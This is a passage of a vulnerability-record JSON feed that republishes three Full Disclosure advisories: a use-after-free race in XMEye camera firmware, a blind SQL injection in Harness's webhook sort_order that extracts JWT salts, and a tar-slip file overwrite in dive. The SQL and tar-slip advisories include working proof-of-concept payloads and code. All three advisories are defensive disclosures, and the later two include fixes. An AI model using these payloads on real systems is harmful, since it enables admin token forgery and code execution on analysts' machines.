Mallorca - Spain","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0418","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/48","automated":true,"contentSha256":"4d982671e5a01eed37cd5a571ebbf471b3cdb73443e5548e75bf7235acc400f7","evidenceScore":6,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/48","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-15T15:46:46Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:33Z","dateUpdated":"2026-10-02T04:57:33Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0418"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"UAF in XMEye","vendor":"unknown","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"evan"}],"descriptions":[{"lang":"en","value":"checksec:\n\n$ checksec --file Sofia\n[*] '/redacted/Sofia'\n Arch: arm-32-little\n RELRO: No RELRO\n Stack: Canary found\n NX: NX unknown - GNU_STACK missing\n PIE: No PIE (0x8000)\n Stack: Executable\n RWX: Has RWX segments\n\nthis ones interesting. sofia uses an internal flash fs called WFS. per\nan online search:\n\nWFS is a proprietary filesystem developed by Hikvision for its Network\nVideo Recorders (NVRs) and Digital Video Recorders (DVRs).\n [1] \n(https://www.ufsexplorer.com/ufs-explorer-video-recovery/?srsltid=AfmBOooXEaS7QruR5OQybE2P_I37nUcCgNEqXv09ZCzdtqv211_fx8DL)\n How it works: Instead of formatting hard drives or flash storage with\ngeneral-purpose filesystems (like FAT32 or NTFS),\n Hikvision devices write video data directly to the storage media\nusing WFS. [1] \n(https://www.ufsexplorer.com/ufs-explorer-video-recovery/?srsltid=AfmBOooXEaS7QruR5OQybE2P_I37nUcCgNEqXv09ZCzdtqv211_fx8DL)\n Purpose: This design minimizes fragmentation and maximizes\ndata-writing speeds for 24/7 video streams.\n\n Note: Because it is proprietary, standard computers\n(Windows/Mac/Linux) cannot natively read a WFS-formatted drive. Data\nrecovery professionals use specialized tools like UFS Explorer to\nreconstruct and extract videos from these drives. [1]\n(https://www.ufsexplorer.com/ufs-explorer-video-recovery/?srsltid=AfmBOooXEaS7QruR5OQybE2P_I37nUcCgNEqXv09ZCzdtqv211_fx8DL)\nok whatever that means. anyway, per some existing research, wfs holds\na block buffer cache, which is a pool of 128 buffers that hold ru’d\n512-byte flash blocks in ram. each buffer has a refcount that tracks\nhow many threads are using it. then once refcount is 0 obv we free it\nand it can be recycled.\n\none of the functions that handle this (per the proximity browser) is\n\nint __fastcall sub_5B8BE8(int result)\n{\n int v1; // r3\n\n if ( result )\n {\n v1 = *(unsigned __int8 *)(result + 18);\n *(_BYTE *)(result + 18) = v1 - 1;\n if ( !v1 )\n return sub_5A882C(\"Trying to free free buffer\\n\");\n }\n return result;\n}\ninterestingly it does warn if v1 (if the buffer doesnt exist) is free\nthat a double free is happening. it doesnt actually do anything about\nit however. also since this is multithreaded, there is a clear as day\ntoctou. the same can be seen for looking up an entry and refcount\nincrementing:\n\nint __fastcall sub_5B8C10(int a1, __int64 a2)\n{\n int i; // r1\n\n for ( i = dword_AD2DB4[(unsigned __int8)a2]; i; i = *(_DWORD *)(i + 24) )\n {\n if ( *(_DWORD *)i == a1 && *(_QWORD *)(i + 8) == a2 )\n {\n ++*(_BYTE *)(i + 18);\n return i;\n }\n }\n return i;\n}\nagain, no locking. this could mean we could get a toctou and\nconsequently a uaf vuln. maybe if we fuck with this carefully and look\nat the fields we could potentially get arb r/w.\n\nafter researching online the struct layout looks like this:\n\nstruct {\n int device_no;\n // ??? size 4\n uint64_t block_number;\n uint8_t uptodate;\n uint8_t dirty;\n uint8_t refcount;\n uint8_t paddingidk;\n uintptr_t hash_prev;\n uintptr_t hash_next;\n uintptr_t lru_prev;\n uintptr_t lru_next;\n uintptr_t dataptr;\n}\nunfortunately i couldnt give a fuck about actualyl exploiting it, but\nthere is a chance someone could just use the ptrs to leak stuff if\nyoure careful enough. this struct is 40 bytes big, and there are\nallocations of similar size with controllable data. youll have to\ngroom allocations so these two threads get to play with the buffer\nproperly instead of getting some random buffre.\n\nto exploit this (by theory):\n\nhave thread x do a lookup. it finds your target buf and incremenmts\nrefcount and returns a ptr to the buffer.\nhave another thread decrement at the right time to race with thread x.\nrefcount is now 0, even though thread x is holding it.\nthe other thread gets a new buffer, walking along the lru linked list\nto find a buffer with refcount 0. it finds thread x’s buffer, sets\nrefcount to 1, evicts it and repurposes it for a different block.\nuaf, nice. we can now write stuff over the stale ref.\nthe buffer eviction logic:\n\nint __fastcall sub_5B8C64(int a1, __int64 a2)\n{\n int result; // r0\n int v6; // r10\n int v7; // r3\n int v8; // r2\n int v9; // r3\n int v10; // r2\n int v11; // r3\n int v12; // r1\n\n while ( 1 )\n {\n result = sub_5B8C10(a1, a2);\n if ( result )\n break;\n v6 = dword_9D8750;\n while ( *(_BYTE *)(v6 + 18) )\n {\n v6 = *(_DWORD *)(v6 + 32);\n if ( v6 == dword_9D8750 )\n return 0;\n }\n *(_BYTE *)(v6 + 18) = 1;\n v7 = *(_DWORD *)(v6 + 24);\n if ( v7 )\n *(_DWORD *)(v7 + 20) = *(_DWORD *)(v6 + 20);\n v8 = *(_DWORD *)(v6 + 20);\n if ( v8 )\n *(_DWORD *)(v8 + 24) = v7;\n v9 = *(unsigned __int8 *)(v6 + 8);\n if ( dword_AD2DB4[v9] == v6 )\n dword_AD2DB4[v9] = *(_DWORD *)(v6 + 24);\n if ( !*(_DWORD *)(v6 + 28) || !*(_DWORD *)(v6 + 32) )\n sub_5A882C(\"Free block list corrupted\");\n v10 = *(_DWORD *)(v6 + 28);\n *(_DWORD *)(v10 + 32) = *(_DWORD *)(v6 + 32);\n v11 = *(_DWORD *)(v6 + 32);\n *(_DWORD *)(v11 + 28) = v10;\n if ( dword_9D8750 == v6 )\n dword_9D8750 = v11;\n if ( *(_BYTE *)(v6 + 17) )\n sub_5B8AE8(v6);\n *(_BYTE *)(v6 + 17) = 0;\n *(_BYTE *)(v6 + 16) = 0;\n v12 = dword_AD2DB4[(unsigned __int8)a2];\n *(_DWORD *)v6 = a1;\n *(_QWORD *)(v6 + 8) = a2;\n while ( 1 )\n {\n if ( !v12 )\n {\n sub_5B8A8C(v6);\n return v6;\n }\n if ( *(_DWORD *)v12 == a1 && *(_QWORD *)(v12 + 8) == a2 )\n break;\n v12 = *(_DWORD *)(v12 + 24);\n }\n *(_DWORD *)v6 = 0;\n *(_QWORD *)(v6 + 8) = 0;\n *(_BYTE *)(v6 + 18) = 0;\n sub_5B8A8C(v6);\n }\n return result;\n}\nso from here, we can see some interesting stuff. nmotably, we can see\n\n if ( !*(_DWORD *)(v6 + 28) || !*(_DWORD *)(v6 + 32) )\n sub_5A882C(\"Free block list corrupted\");\n v10 = *(_DWORD *)(v6 + 28);\n *(_DWORD *)(v10 + 32) = *(_DWORD *)(v6 + 32);\n v11 = *(_DWORD *)(v6 + 32);\n *(_DWORD *)(v11 + 28) = v10;\n if ( dword_9D8750 == v6 )\ngiven the context and the vairables being reused, we can probably guess:\n\n if ( !*(_DWORD *)(v6 + 28) || !*(_DWORD *)(v6 + 32) )\n sub_5A882C(\"Free block list corrupted\");\n prev = *(_DWORD *)(v6 + 28);\n *(_DWORD *)(prev + 32) = *(_DWORD *)(v6 + 32);\n next = *(_DWORD *)(v6 + 32);\n *(_DWORD *)(next + 28) = prev;\n if ( dword_9D8750 == v6 )\nso, we read buf->lru_prev, set prev->lru_next to buf->lru_next, read\nbuf->lru_next, then next->lru_prev = buf->lru_prev. if you have\nskidded before, this is an unsafe unlink, since theres no validation\nwhatsoever on the ptrs. this means if you control buf+28 and buf+32 we\ncan get an arbitrary write. from there, we cna probably chain this to\neventually get an arbitrary read, amybe overwrite a got entry, etc\netc.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:33Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/42"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/42"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://seclists.org/fulldisclosure/"},{"url":"https://www.ufsexplorer.com/ufs-explorer-video-recovery/?srsltid=AfmBOooXEaS7QruR5OQybE2P_I37nUcCgNEqXv09ZCzdtqv211_fx8DL"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/42"],"discovery":"EXTERNAL"},"title":"UAF in XMEye Security Camera","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0417","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/42","automated":true,"contentSha256":"b4a06f6e6b8a0aad588f146b2048eb0567531fd363aee694f5a88ffa1db92e79","evidenceScore":6,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/42","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-15T03:44:45Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:33Z","dateUpdated":"2026-10-02T04:57:33Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0417"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"registry webhook","vendor":"Harness","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"Khashayar Fereidani"}],"descriptions":[{"lang":"en","value":"# harness registry webhook sort_order blind SQL injection\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-09-24\n**Advisory:** https://fereidani.com/harness-registry-webhook-sortorder-blind-sql-injection\n**Contact:** https://fereidani.com/contact\n\n## Description\n\nHarness open source (Gitness) is a self-hosted platform for source control,\npipelines and artifact registries. The registry API lists the webhooks of a\nregistry at `GET /registry/{ref}/webhooks` with optional `sort_field` and\n`sort_order` query parameters. The controller copies the raw query-string\nbytes of `sort_order` into the DAO call with no normalization\n(`registry/app/api/controller/metadata/list_webhooks.go:80`):\n\n```go\nsortByField := \"\"\nsortByOrder := \"\"\nif r.Params.SortOrder != nil {\nsortByOrder = string(*r.Params.SortOrder)\n}\nif r.Params.SortField != nil {\nsortByField = string(*r.Params.SortField)\n}\n\nwebhooks, err := c.WebhooksRepository.ListByRegistry(\nctx,\nsortByField,\nsortByOrder,\n...\n)\n```\n\nThe DAO allowlists the sort field but interpolates the order clause raw\n(`registry/app/store/database/webhook.go:224`):\n\n```go\nvalidSortFields := map[string]string{\n\"name\": \"registry_webhook_name\",\n}\nvalidSortByField := validSortFields[sortByField]\nif validSortByField != \"\" {\nquery = query.OrderBy(fmt.Sprintf(\"%s %s\", validSortByField, sortByOrder))\n}\n```\n\nEvery other value in the query is bound as a parameter; only the ORDER BY\nfragment is assembled with `fmt.Sprintf`. `SortOrder` is generated by\noapi-codegen as a plain `type SortOrder string`\n(`registry/app/api/openapi/contracts/artifact/types.gen.go:1223`) with no\nruntime enum validation, so any bytes survive from the query string to the\nSQL text.\n\nThe project already has the correct guard and applies it everywhere else.\n`GetSortByOrder` (`registry/app/api/controller/metadata/utils.go:220`)\ncoerces anything that is not `DESC` to `ASC`, and the sibling request-info\nhelpers call it on every other listing endpoint\n(`registry/app/api/controller/metadata/base.go:107` and `:489`). The webhook\nlisting builds its parameters inline and is the one call path that skips the\nnormalization. A second raw interpolation of the same pair sits in the\nupstream proxy DAO, which concatenates both field and order with no allowlist\nat all (`registry/app/store/database/upstream_proxy.go:338`):\n\n```go\nq = q.OrderBy(\" r.registry_\" + sortByField + \" \" + sortByOrder).\nLimit(ulimit).\nOffset(uoffset)\n```\n\nIts callers currently normalize through the base helpers, but the DAO trusts\nits inputs, so a caller-side fix alone leaves a second unsafe path behind.\n\n## Reproduction\n\nThe DAO assembles the SQL with squirrel before any database round trip, so\nthe injection is visible without a database. The in-package test below\nregisters a mock driver that records the statement `ListByRegistry`\nprepares, and requests the webhook list with the attack payload as\n`sort_order`, exactly what `GET\n/registry/{ref}/webhooks?sort_field=name&sort_order=`\nreaches:\n\n```go\npackage database\n\nimport (\n\"context\"\n\"database/sql\"\n\"database/sql/driver\"\n\"errors\"\n\"strings\"\n\"testing\"\n\n\"github.com/jmoiron/sqlx\"\n)\n\ntype recordDriver struct{ lastQuery string }\n\nfunc (d *recordDriver) Open(string) (driver.Conn, error) { return\n&recordConn{d: d}, nil }\n\ntype recordConn struct{ d *recordDriver }\n\nfunc (c *recordConn) Prepare(q string) (driver.Stmt, error) {\nc.d.lastQuery = q\nreturn nil, errors.New(\"captured\")\n}\nfunc (c *recordConn) Close() error { return nil }\nfunc (c *recordConn) Begin() (driver.Tx, error) { return nil,\nerrors.New(\"no tx\") }\n\nfunc TestPocSQLi(t *testing.T) {\nrec := &recordDriver{}\nsql.Register(\"recorder-poc\", rec)\nsdb, err := sql.Open(\"recorder-poc\", \"unused\")\nif err != nil {\nt.Fatal(err)\n}\nrepo := NewWebhookDao(sqlx.NewDb(sdb, \"postgres\"))\n\npayload := \"ASC,(SELECT CASE WHEN (substr((select principal_salt from\nprincipals limit 1),1,1)='a')\" +\n\" THEN registry_webhook_name ELSE registry_webhook_id END)\"\n\n_, _ = repo.ListByRegistry(context.Background(), \"name\", payload, 10, 0, \"\", 1)\n\nsent := rec.lastQuery\nfor _, needle := range []string{\"SELECT CASE WHEN\", \"principal_salt\",\n\"registry_webhook_id END\"} {\nif !strings.Contains(sent, needle) {\nt.Fatalf(\"payload fragment %q missing from SQL sent to the\ndatabase:\\n%s\", needle, sent)\n}\n}\nt.Logf(\"SQL SENT TO DATABASE:\\n%s\", sent)\n}\n```\n\nRun it inside a checkout of harness/harness:\n\n```sh\ngo test ./registry/app/store/database/ -run TestPocSQLi -v\n```\n\nObserved output on main at commit 912a1f3 (fields truncated):\n\n```text\n--- PASS: TestPocSQLi (0.00s)\n poc_sqli_test.go:47: SQL SENT TO DATABASE:\n SELECT registry_webhook_id, ... FROM registry_webhooks\n WHERE registry_webhook_registry_id = $1\n ORDER BY registry_webhook_name ASC,(SELECT CASE WHEN\n (substr((select principal_salt from principals limit 1),1,1)='a')\n THEN registry_webhook_name ELSE registry_webhook_id END)\n LIMIT 10 OFFSET 0\n```\n\nThe `$1` binding shows that every other value is parameterized; the payload\nsits verbatim inside ORDER BY. PostgreSQL evaluates expressions there, so a\nCASE keyed on `substr` of any database value flips the row order (or raises\nan error) depending on the condition, which leaks one boolean per request.\nThat is a full blind extraction primitive for any value the database user\ncan read, one character and one bit at a time.\n\n## Impact\n\nBlind SQL injection (CWE-89) reachable by any authenticated user who has\nview permission on any registry (`enum.PermissionRegistryView` is the gate at\n`registry/app/api/controller/metadata/list_webhooks.go:46`). The realistic\ntarget is `principals.principal_salt`: the JWT authenticator verifies session\ntokens with HMAC keyed only by that salt\n(`app/auth/authn/jwt.go:99-107`), so recovering a salt lets the attacker\nforge a valid session token for that principal, including administrators.\nThe salt column is excluded from API responses (`json:\"-\"`,\n`registry/types/principal.go:37`), which is exactly why the database has to\nbe read through the query itself.\n\nThe injection is read-side exfiltration: the surrounding query is fully\nparameterized and the PostgreSQL driver does not run stacked queries, so the\nattacker cannot write to the database through this path.\n\n## Solution\n\nValidate at both ends. The controller should normalize the parameter with\nthe guard its siblings already use, which collapses any input to `ASC` or\n`DESC`:\n\n```go\nsortByOrder = GetSortByOrder(sortByOrder)\n```\n\nBut the DAO is the component that assembles the SQL, so it should not accept\nfree text in the first place. An allowlist at the sink holds regardless of\nwhich caller reaches it:\n\n```go\nvalidSortOrders := map[string]struct{}{\"ASC\": {}, \"DESC\": {}}\nif _, ok := validSortOrders[strings.ToUpper(sortByOrder)]; !ok {\nsortByOrder = \"ASC\"\n}\n```\n\nThe upstream proxy DAO needs the same treatment for both parameters: an\nallowlist for the sort field (it currently concatenates the raw string onto\na column prefix) and the same order check, so a future caller that forgets\nto normalize cannot reopen the hole.\n\nUntil a fix lands, block or rewrite the `sort_order` parameter of the\nwebhook listing at the reverse proxy in front of the deployment; anything\nthat is not exactly `asc` or `desc` (case-insensitive) can be dropped.\n\n## Timeline\n\n- 2026-09-24: Reported publicly as harness/harness#3724, found while\n scanning popular repositories with my static analyzer. The project's\n earlier security reports had gone unanswered; the current main branch\n (912a1f3) is affected.\n\n## References\n\n- [harness/harness#3724 - blind SQL injection via sort_order in\nregistry webhook\nlisting](https://github.com/harness/harness/issues/3724)\n- [harness/harness -\nregistry/app/store/database/webhook.go](https://github.com/harness/harness/blob/main/registry/app/store/database/webhook.go)\n- [harness/harness -\nregistry/app/api/controller/metadata/list_webhooks.go](https://github.com/harness/harness/blob/main/registry/app/api/controller/metadata/list_webhooks.go)\n- [harness/harness -\nregistry/app/store/database/upstream_proxy.go](https://github.com/harness/harness/blob/main/registry/app/store/database/upstream_proxy.go)\n- [CWE-89: Improper Neutralization of Special Elements used in an SQL\nCommand](https://cwe.mitre.org/data/definitions/89.html)\n- [CWE-200: Exposure of Sensitive Information to an Unauthorized\nActor](https://cwe.mitre.org/data/definitions/200.html)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-200","description":"CWE-200","lang":"en","type":"CWE"},{"cweId":"CWE-89","description":"CWE-89","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:33Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description","exploit"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/82"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/82"},{"url":"https://cwe.mitre.org/data/definitions/200.html"},{"url":"https://cwe.mitre.org/data/definitions/89.html"},{"url":"https://fereidani.com/contact"},{"url":"https://fereidani.com/harness-registry-webhook-sortorder-blind-sql-injection"},{"url":"https://github.com/harness/harness/blob/main/registry/app/api/controller/metadata/list_webhooks.go"},{"url":"https://github.com/harness/harness/blob/main/registry/app/store/database/upstream_proxy.go"},{"url":"https://github.com/harness/harness/blob/main/registry/app/store/database/webhook.go"},{"url":"https://github.com/harness/harness/issues/3724"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://seclists.org/fulldisclosure/"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/82"],"discovery":"EXTERNAL"},"title":"harness(gitness) registry webhook sort_order blind SQL injection","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0416","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/82","automated":true,"contentSha256":"42aa0137486ebb0c1774ed99577e2684448941eae7739e7e9d4588e053eb8943","evidenceScore":10,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/82","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-24T03:12:34Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:33Z","dateUpdated":"2026-10-02T04:57:33Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0416"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"dive tar-slip in","vendor":"unknown","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"Khashayar Fereidani"}],"descriptions":[{"lang":"en","value":"# dive tar-slip in image file extraction\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-09-24\n**Advisory:** https://fereidani.com/dive-tar-slip-in-image-file-extraction\n**Contact:** https://fereidani.com/contact\n\n## Description\n\ndive is a terminal UI for exploring Docker image layers, and inspecting images\npulled from public registries is its main use case. The filetree view has an\nextract action (the default keybinding is `ctrl+e`,\n`cmd/dive/cli/internal/ui/v1/key/config.go:97`) that writes the selected file\nfrom the image layer into the working directory. The call chain is\n`onFileTreeViewExtract` (`cmd/dive/cli/internal/ui/v1/app/controller.go:62`)\n-> `engineResolver.Extract`\n(`dive/image/docker/engine_resolver.go:56`) -> `ExtractFromImage`\n(`dive/image/docker/image_archive.go:303`) -> `extractInner`\n(`dive/image/docker/image_archive.go:337`):\n\n```go\nfunc extractInner(reader *tar.Reader, p string) error {\ntarget := strings.TrimPrefix(p, \"/\")\n\nfor {\nheader, err := reader.Next()\n\nif err == io.EOF {\nbreak\n}\n\nif err != nil {\nfmt.Println(err)\nos.Exit(1)\n}\n\nname := header.Name\n\nswitch header.Typeflag {\ncase tar.TypeReg:\nif strings.HasPrefix(name, target) {\nerr := os.MkdirAll(filepath.Dir(name), 0755)\nif err != nil {\nreturn err\n}\n\nout, err := os.Create(name)\nif err != nil {\nreturn err\n}\n\n_, err = io.Copy(out, reader)\nif err != nil {\nreturn err\n}\n}\ndefault:\ncontinue\n}\n}\n\nreturn nil\n}\n```\n\n`header.Name` comes from the layer being inspected, so the attacker fully\ncontrols it. The only validation is `strings.HasPrefix(name, target)`, a\nstring prefix check rather than a path check: it offers no containment at all.\nA name like `etc/motd-x/../../../.bashrc` passes the check for a selected\n`etc/motd`, and `os.Create(name)` then resolves the raw name relative to the\ndirectory dive was started in. There is no `filepath.Clean`, no rejection of\n`..`, no containment root, no symlink check and no size cap.\n\nThe same string-prefix property lets an attacker prepare the path for the\nescape in two steps. Because `filepath.Dir` cleans `..` segments away,\n`os.MkdirAll` never creates the intermediate directory that a single escape\nentry needs to walk through. But any earlier entry whose name still starts\nwith the selected path creates it: an entry named `etc/motd-x/keep` makes\n`os.MkdirAll` create the directory `etc/motd-x`, and the next entry can then\nclimb through it with `..`. Both entries pass the prefix check, and the\nattacker controls the order of entries in the layer.\n\nReaching `extractInner` with crafted bytes is straightforward. The engine\nresolver saves the image with the Docker API (`ImageSave`,\n`dive/image/docker/engine_resolver.go:131`), which streams the original layer\nblobs as they were pushed to the registry, and dive even pulls the image\nitself when it is not available locally\n(`dive/image/docker/engine_resolver.go:121`). Nothing between the registry\nand `extractInner` rewrites entry names.\n\n## Reproduction\n\nThe loop above is self-contained, so the whole feature can be exercised\nwithout a registry or the UI. The program below copies `extractInner`\nverbatim from the current main branch, feeds it a crafted layer tar, and\nselects `/etc/motd`, exactly what dive does when ctrl+e is pressed on that\nfile:\n\n```go\npackage main\n\n// extractInner copied verbatim from\n// dive/image/docker/image_archive.go:337 (main, 2026-09-24).\nimport (\n\"archive/tar\"\n\"bytes\"\n\"fmt\"\n\"io\"\n\"os\"\n\"path/filepath\"\n\"strings\"\n)\n\nfunc extractInner(reader *tar.Reader, p string) error {\ntarget := strings.TrimPrefix(p, \"/\")\nfor {\nheader, err := reader.Next()\nif err == io.EOF {\nbreak\n}\nif err != nil {\nfmt.Println(err)\nos.Exit(1)\n}\nname := header.Name\nswitch header.Typeflag {\ncase tar.TypeReg:\nif strings.HasPrefix(name, target) {\nerr := os.MkdirAll(filepath.Dir(name), 0755)\nif err != nil {\nreturn err\n}\nout, err := os.Create(name)\nif err != nil {\nreturn err\n}\n_, err = io.Copy(out, reader)\nif err != nil {\nreturn err\n}\n}\ndefault:\ncontinue\n}\n}\nreturn nil\n}\n\nfunc addFile(tw *tar.Writer, name, body string) {\nhdr := &tar.Header{Name: name, Mode: 0o644, Size: int64(len(body)),\nTypeflag: tar.TypeReg}\n_ = tw.WriteHeader(hdr)\n_, _ = tw.Write([]byte(body))\n}\n\nfunc main() {\nvar layer bytes.Buffer\ntw := tar.NewWriter(&layer)\naddFile(tw, \"etc/motd\", \"welcome to the totally safe image\\n\")\naddFile(tw, \"etc/motd-x/keep\", \"x\\n\")\naddFile(tw, \"etc/motd-x/../../../.bashrc\", \"echo pwned\\n\")\n_ = tw.Close()\n\nerr := extractInner(tar.NewReader(&layer), \"/etc/motd\")\nfmt.Println(\"extractInner returned:\", err)\n}\n```\n\nRun it from a directory that stands in for the analyst's project directory,\nwith a `.bashrc` one level above:\n\n```sh\nmkdir -p home/victim/project\necho \"alias ll='ls -l'\" > home/victim/.bashrc\ncd home/victim/project && go run main.go\n```\n\nObserved result:\n\n```text\nextractInner returned: \n```\n\n```text\n$ find home -type f | sort\nhome/victim/.bashrc # was: alias ll='ls -l'\nhome/victim/project/etc/motd\nhome/victim/project/etc/motd-x/keep\n\n$ cat home/victim/.bashrc\necho pwned\n```\n\nThe selected file lands in the working directory as expected, and the escape\nentry silently overwrites the `.bashrc` one level above it. `extractInner`\nreturns nil, so the UI reports a successful extract.\n\nEnd to end, the same layer is delivered by publishing an image whose layer\nblob contains the three entries above (any registry accepts the blob as-is),\nand waiting for an analyst to run `dive` on the image and extract a file.\n\n## Impact\n\nArbitrary file write with the analyst's privileges, at any path that is\nreachable through `..` from the directory dive runs in, usually the home or\nproject directory. High-value targets include shell startup files such as\n`~/.bashrc` and `~/.profile`, `~/.ssh/authorized_keys`, `.git/hooks` in the\ncurrent repository, and desktop autostart entries, which turn the write into\ncode execution at the next shell or login. The write is silent: extraction\nsucceeds and the extra entries leave no error behind.\n\nThe precondition is that the analyst selects a file in the crafted image and\npresses the extract keybinding, which is why this is rated medium rather than\nhigh. That action is exactly what the feature is for: an analyst who opens a\nsuspicious image to look at a credentials file or a config file has every\nreason to extract it for a closer look, and the layer content is fully\nattacker-controlled.\n\n## Solution\n\nTreat every entry name as hostile and extract through a containment root.\nThe check belongs on the cleaned, joined path, not on the raw string:\n\n```go\ndest := filepath.Join(destinationDir, filepath.Clean(\"/\"+header.Name))\nif dest != filepath.Join(destinationDir, target) {\ncontinue // extraction is for the selected file only\n}\n```\n\nJoining against `/`+name first makes `filepath.Clean` drop any leading `..`\nor drive-letter tricks, and the equality check then reduces the write to the\none selected file inside `destinationDir`. Creating the file with\n`os.OpenFile(dest, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o644)` also stops the\nextract from overwriting existing files or following a symlink planted\nearlier in the same layer. This is the standard guard for the tar-slip class,\nthe tar variant of Zip Slip, which every archive extractor that writes to\ndisk needs.\n\nUntil a fix lands, do not use the extract keybinding on images from unknown\nsources, and if it must be used, run dive from an empty directory (or from\ninside a container) so that `..` has nowhere interesting to climb to.\n\n## Timeline\n\n- 2026-09-24: Reported publicly as wagoodman/dive#722, found while scanning\n popular repositories with my static analyzer. The repository has seen no\n commits since 2025-12-15, so no private disclosure attempt seemed useful;\n dive 0.13.1 and the current main branch are affected.\n\n## References\n\n- [wagoodman/dive#722 - tar-slip in image layer file\nextraction](https://github.com/wagoodman/dive/issues/722)\n- [wagoodman/dive -\ndive/image/docker/image_archive.go](https://github.com/wagoodman/dive/blob/main/dive/image/docker/image_archive.go)\n- [Snyk - Zip Slip vulnerability\nresearch](https://snyk.io/research/zip-slip-vulnerability)\n- [CWE-22: Improper Limitation of a Pathname to a Restricted\nDirectory](https://cwe.mitre.org/data/definitions/22.html)\n- [CWE-59: Improper Link Resolution Before File\nAccess](https://cwe.mitre.org/data/definitions/59.html)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-22","description":"CWE-22","lang":"en","type":"CWE"},{"cweId":"CWE-59","description":"CWE-59","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:32Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/81"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/81"},{"url":"https://cwe.mitre.org/data/definitions/22.html"},{"url":"https://cwe.mitre.org/data/definitions/59.html"},{"url":"https://fereidani.com/contact"},{"url":"https://fereidani.com/dive-tar-slip-in-image-file-extraction"},{"url":"https://github.com/wagoodman/dive/blob/main/dive/image/docker/image_archive.go"},{"url":"https://github.com/wagoodman/dive/issues/722"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://seclists.org/fulldisclosure/"},{"url":"https://snyk.io/research/zip-slip-vulnerability"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/81"],"discovery":"EXTERNAL"},"title":"dive tar-slip in image file 